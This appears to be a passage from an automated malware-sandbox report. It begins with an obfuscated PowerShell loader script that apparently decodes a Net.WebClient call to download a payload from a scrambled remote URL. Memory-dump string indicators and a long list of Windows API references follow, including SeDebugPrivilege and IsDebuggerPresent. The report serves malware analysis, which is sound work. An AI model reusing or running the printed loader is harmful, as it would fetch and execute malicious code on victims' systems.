X';$hjernetrusts='nurtureless';$ahrendahronon95='\\Archaeogeology.Mrk';Irremovableness (Actinism ' vv$qqqpG GEww DMMMI OOPU UA+++LyyyPaaas PP= aa0 pp;hhh$wwwG bblYYYOSSSB~ ~A>>>LSSS:aa a<<>luuuoJJJg<<>>h OOR ccoA An ^^O uuNX X9VVV5');Irremovableness (Actinism 'Z Z$FF p< >:DDDA CCbIIIsUUUO&&&r #.BFFFes sRd de GG=x.x$ ||sSSSTdddO llNDD.eLLLw/./AUUUL###LVVV. ==s DDP;;;LyyyIqqqt rr(l l$iiiRCC esssI CCnooov^^^E tSgggt%%%E !!r //IaaaN IIgtttE___nMMM1fff1qqq2JJJ)');Irremovableness (Actinism $honeyed115);$tussucks2='fremkomsters';$stonewall=$absorbere[$sympodia];$buhkos='semispinalis';$strandage=(Actinism 'mm $>>>Paaae+++D o ia aplllA wwL h P ++s<<<= Y 0rrr;###$ rg ttl CCo M BaaaaPPPLM.M:== F PPo --rXXXV U E p.n --tNNNEmm l eeizzzG===e###SAAA=YYYNeeeE uuWeee-bbbo+++BDDDju.ue vvc|||t ww ***sSSSYww s __TfffeWWWmYYY. MM$qqqsqqqk JJICCCfuuuf wwL;;;EeeeG ??rC Cu!!!p wwP kkeSSSRTTTn rre');Irremovableness ($strandage);Irremovableness (Actinism 'S S$ Nf **oBB rTTTv .CePP n***t GGe RRlVVViXXXgZZZe CCs---.??.H!!!e <gfffe --slll.ccc$FFFr ++eSSSsX.XtXX o LLrDDDeSSSsCCC.uuuI% %nfffv bbopppk K ejjj( ll$,WWs.UUtMMMoBBBn .he.TTw ,TaiiilbbblII ,uuu$###o***rccct UUh!.!o***g! !r llaaaan >>i VVt- -eNNN)';$orthogranite=$agrobiological;mv 'hjlpeskrmen';Irremovableness (Actinism ' **$ ??Pzz eHHHDNNNIhh PSS ammmLpppPd dSh.h=:::0x x;GGG$mm G h lJJJoEEEbs sAkkkL D: hhS ddaDDDd JJdSSSE_._l ||Tjjja oog rressst!!!= r.(rrrtdddE ;;SiiiTlll-RRRPQQQaiiitg.gh m, lll$ xxo&&,ry ytXX HHHHO ~~G *RSSSAAA nI IiXXXTDDDED.D)');mv 'simultanpartiernes';while ((!$saddeltaget)) {Irremovableness (Actinism 'NNN$vvvpVVVe ^d ||i;;;p ||a== l NpEEEsEEE=~~~0ww ;yyy$!!!gww lbb.oXX b== a;;;leee:bbbD zziq qfyyyf > uVV s+++i ++o KKn___sPPPlq qi |nMMMs%%%e PPrkkkn%%%e HH=S S$###tYYYrWWWiPPPa jjd ;;iII sp pt') ;Irremovableness $husdyrbrugets;Irremovableness (Actinism 'HHH[q qt v.hAAArWWWEe eAxxxd###IVVVNQQQGjjj.###tNNNH***r^^^egggA vvD^^^]RRR:OOO: vs###l---eEEEE: :pPPP(###3F.F7eee5/./0 WW)');Irremovableness (Actinism 'OOO$ TTPddde <>=YYY0d d; ~~$pppg >>l LLOcc b~~ AqqqL::::fffdlllA|||m GGE LLvxxxe nnNdddN ??E ||R XXnTTTeVVVS===7HHH2yyy=bbb$%%%GaaaL %%Ogggbo.oARRRl&&&:__ T ^^A //l .NL .WehhhrO OkBBBEcccn WWr>>>E&&&T SSTl lE ++N --sooo+aa +| |%mmm$ ddA %%BmmmS jjONNNr kkB xxecccR ve! !.GGGcSSSo LLUBBBNTT T') ;$stonewall=$absorbere[$damevennernes72]}$pisistance=286507;$gudsn=29414;Irremovableness (Actinism 'd d$KKKP kkexxxdn.nijjjPNNNA|||LpppPww S ff=^^^0YY.; ? $JJJgXXXl// oFFFb %%a ;;l :::pp P|| rHHHEpp D<< >e ??6:: 4aa S&&&t ffrX Xi TTn???gPPP( dd$QQQp ++rYYYeIIIdaaaihh,s~~,ttttrUUUiEEEb,^^uzzzt^^ iIIIo jjnAAA)');Irremovableness (Actinism ';;;$ ^^plllE^^^dLLLiVVVpi iaUUUlEEEppppsO.O=kkk0W W;yy $nnnG .gLS SoA ABzzzAVVVL jj:nnnFLLLRxxxE ccm A kO OoRRRm rrs ??T++ ejjjRz zsBB <<<= ZZ == [OOOT FFe fx:::T///.OOOe%%%nL LCp pO***d|||i s nOOOg ??] = :lll: ffAoooSq qcnnniX XiOOO.KKKgjj.e KKt?? s AAtXXXRwwwi.wwnSSSg bb(?? $yyyh###i d E WWRjjjNSS,e uu)');Irremovableness (Actinism ' QQ$***Prr EC.CD#.#I YYPLL A aaL tpgggsOOO=nnn0RRR;PPP$J JgiiiL UUOPPPB***A:: l F:YYYk FFr:::I sss!!!tSSSE~~~l QQS QQ=S S$k kFWWWR >>ELLLMq.qke.eo =.m ooshhhThhhEFFFRYYYSRRR..ccsRR.u%%%b dds ==t%%%rZZZi EENbbbG| |(ttt$kkkp aaIj.jsss.I%%%SlllTjjjarr.N dc UUeIII,ii $SSSGjjjudddDN,NSyyyNnnn)');Irremovableness $kristels;"" (UID: 00000000-00004824, Additional Context: "function $futurable=3do { $befolkningseksplosions+=$radionecrosis252[$futurable] 'vvvM|||o y z & iVVVlWWWliiia////'+= ' ||5 ~~.r.r0.ZZ p.p(!!!WRRRiLLLn < >0iii0PPP1%%.0G G1 W ZZF ggiaaarBBBe ~~fGGGo ; x K / gg1RRR4iii4yyy. ##0' ( ' vv$qqqpG GEww DMMMI OOPU UA+++LyyyPaaas PP= aa0 pp;hhh$wwwG bblYYYOSSSB~ ~A>>>LSSS:aa a<<>luuuoJJJg<<>>h OOR ccoA An O uuNX X9VVV5') ( 'Z Z$FF p< >:DDDA CCbIIIsUUUO&&&r #.BFFFes sRd de GG=x.x$ ||sSSSTdddO llNDD.eLLLw/./AUUUL###LVVV. ==s DDP;;;LyyyIqqqt rr(l l$iiiRCC esssI CCnooovE tSgggt%%%E !!r //IaaaN IIgtttE___nMMM1fff1qqq2JJJ)') ( QQ[___n%%%EzzzTggg.GGGSEEEEDDDr+++Vn nImm.Cfffe,zzpaaao RRi Nhhhtooom>>>a ||N IIAmmmg E.**rD.D] YY:XXX:QQQS ,dEpppC ddUpppR;;;i YYtUU.ymmmPLLLRxxxoa at& &o---C ccoy yL:: =& &$IIIcDDDhjjja VVR zzI---o,UUt + E = e|||r&&&S) 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn5 HHcD D2 VVvAAAw .oe EEidddaqqq5 **m HHdQ.QfSS inn xhhhseTTTt bug gtZZZ7???t iczzze=.=.HHHi zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi'=$absorbere[[Nullable[int]]0] (( 'mm $>>>Paaae+++D o ia aplllA wwL h P ++s<<<= Y 0rrr;###$ rg ttl CCo M BaaaaPPPLM.M:== F PPo --rXXXV U E p.n --tNNNEmm l eeizzzG===e###SAAA=YYYNeeeE uuWeee-bbbo+++BDDDju.ue vvc|||t ww ***sSSSYww s __TfffeWWWmYYY. MM$qqqsqqqk JJICCCfuuuf wwL;;;EeeeG ??rC Cu!!!p wwP kkeSSSRTTTn rre')) ( 'S S$ Nf **oBB rTTTv .CePP n***t GGe RRlVVViXXXgZZZe CCs---.??.H!!!e < uVV s+++i ++o KKn___sPPPlq qi |nMMMs%%%e PPrkkkn%%%e HH=S S$###tYYYrWWWiPPPa jjd ;;iII sp pt') ' DD$U Uf nnoAAArZZZvpppe ;;n ##t!!!eee l vvi .>gfffe --slll.ccc$FFFr ++eSSSsX.XtXX o LLrDDDeSSSsCCC.uuuI% %nfffv bbopppk K ejjj( ll$,WWs.UUtMMMoBBBn .he.TTw ,TaiiilbbblII ,uuu$###o***rccct UUh!.!o***g! !r llaaaan >>i VVt- -eNNN)' ( 'HHH[q qt v.hAAArWWWEe eAxxxd###IVVVNQQQGjjj.###tNNNH***regggA vvD]RRR:OOO: vs###l---eEEEE: :pPPP(###3F.F7eee5/./0 WW)') ( ( '!!!$n nP FFE hhd XI c P s A???l<<>=YYY0d d; ~~$pppg >>l LLOcc b~~ AqqqL::::fffdlllA|||m GGE LLvxxxe nnNdddN ??E ||R XXnTTTeVVVS===7HHH2yyy=bbb$%%%GaaaL %%Ogggbo.oARRRl&&&:__ T A //l .NL .WehhhrO OkBBBEcccn WWr>>>E&&&T SSTl lE ++N --sooo+aa +| |%mmm$ ddA %%BmmmS jjONNNr kkB xxecccR ve! !.GGGcSSSo LLUBBBNTT T') 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn5 HHcD D2 VVvAAAw .oe EEidddaqqq5 **m HHdQ.QfSS inn xhhhseTTTt bug gtZZZ7???t iczzze=.=.HHHi zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi'=$absorbere[$damevennernes72]}$pisistance=286507 ( 'd d$KKKP kkexxxdn.nijjjPNNNA|||LpppPww S ff=0YY.; ? $JJJgXXXl// oFFFb %%a ;;l :::pp P|| rHHHEpp D<< >e ??6:: 4aa S&&&t ffrX Xi TTn???gPPP( dd$QQQp ++rYYYeIIIdaaaihh,s~~,ttttrUUUiEEEb,uzzzt iIIIo jjnAAA)') ( ';;;$ plllEdLLLiVVVpi iaUUUlEEEppppsO.O=kkk0W W;yy $nnnG .gLS SoA ABzzzAVVVL jj:nnnFLLLRxxxE ccm A kO OoRRRm rrs ??T++ ejjjRz zsBB <<<= ZZ == [OOOT FFe fx:::T///.OOOe%%%nL LCp pO***d|||i s nOOOg ??] = :lll: ffAoooSq qcnnniX XiOOO.KKKgjj.e KKt?? s AAtXXXRwwwi.wwnSSSg bb(?? $yyyh###i d E WWRjjjNSS,e uu)') ( ' QQ$***Prr EC.CD#.#I YYPLL A aaL tpgggsOOO=nnn0RRR;PPP$J JgiiiL UUOPPPB***A:: l F:YYYk FFr:::I sss!!!tSSSE~~~l QQS QQ=S S$k kFWWWR >>ELLLMq.qke.eo =.m ooshhhThhhEFFFRYYYSRRR..ccsRR.u%%%b dds ==t%%%rZZZi EENbbbG| |(ttt$kkkp aaIj.jsss.I%%%SlllTjjjarr.N dc UUeIII,ii $SSSGjjjudddDN,NSyyyNnnn)') $kristels;")27:Tbe8,file/memory contains long string with (Indicator: "Set-StrictMode"; File: "AMSI") Found string "{ Set-StrictMode -Version 1; $_.PSMessageDetails }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "& { Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "{ Set-StrictMode -Version 1; $_.OriginInfo }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "Set-Variable" (Indicator: "Set-Variable"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Set-StrictMode" (Indicator: "Set-StrictMode"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Enable-PSBreakpoint" (Indicator: "Enable-PSBreakpoint"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Set-PSBreakpoint" (Indicator: "Set-PSBreakpoint"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Set-Location $MyInvocation.MyCommand.Name" (Indicator: "Set-Location"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Set-Location .." (Indicator: "Set-Location"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Set-Location \" (Indicator: "Set-Location"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Set-Alias" (Indicator: "Set-Alias"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Set-Location" (Indicator: "Set-Location"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Set-PSDebug" (Indicator: "Set-PSdebug"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Update-Help" (Indicator: "Update-Help"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "if ((& { Set-StrictMode -Version 1; $this.DisplayHint }) -ieq "Date")" (Indicator: "Set-StrictMode"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "elseif ((& { Set-StrictMode -Version 1; $this.DisplayHint }) -ieq "Time")" (Indicator: "Set-StrictMode"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "if ( ! (& { Set-StrictMode -Version 1; $this.audit }) ) { return "" }" (Indicator: "Set-StrictMode"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "foreach($ace in (& { Set-StrictMode -Version 1; $this.audit }))" (Indicator: "Set-StrictMode"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "& { Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }" (Indicator: "Set-StrictMode"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp")28:T4ac2,Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000002.137113.6E741000.00000020.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp, 00000000-00004824.00000001.135190.08940000.00000004.mdmp, 00000000-00004824.00000002.137113.08940000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00004824.00000001.135190.6EDB1000.00000020.mdmp, 00000000-00004824.00000002.137113.00381000.00000020.mdmp, 00000000-00004824.00000002.137113.6E741000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00004824.00000001.135190.6EDB1000.00000020.mdmp, 00000000-00004824.00000002.137113.00381000.00000020.mdmp, 00000000-00004824.00000002.137113.6E741000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004824.00000001.135190.6EDB1000.00000020.mdmp, 00000000-00004824.00000002.137113.00381000.00000020.mdmp, 00000000-00004824.00000002.137113.6E741000.00000020.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00004824.00000001.135190.6EDB1000.00000020.mdmp, 00000000-00004824.00000002.137113.6E741000.00000020.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00004824.00000001.135190.6EDB1000.00000020.mdmp, 00000000-00004824.00000002.137113.6E741000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00004824.00000001.135190.6EDB1000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00004824.00000001.135190.6EDB1000.00000020.mdmp, 00000000-00004824.00000002.137113.6E741000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00004824.00000001.135190.6EDB1000.00000020.mdmp, 00000000-00004824.00000002.137113.6E741000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00004824.00000001.135190.6EDB1000.00000020.mdmp, 00000000-00004824.00000002.137113.6E741000.00000020.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00004824.00000001.135190.6EDB1000.00000020.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E741000.00000020.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00004824.00000001.135190.6EDB1000.00000020.mdmp, 00000000-00004824.00000002.137113.6E741000.00000020.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp") Found reference to API (Indicator: 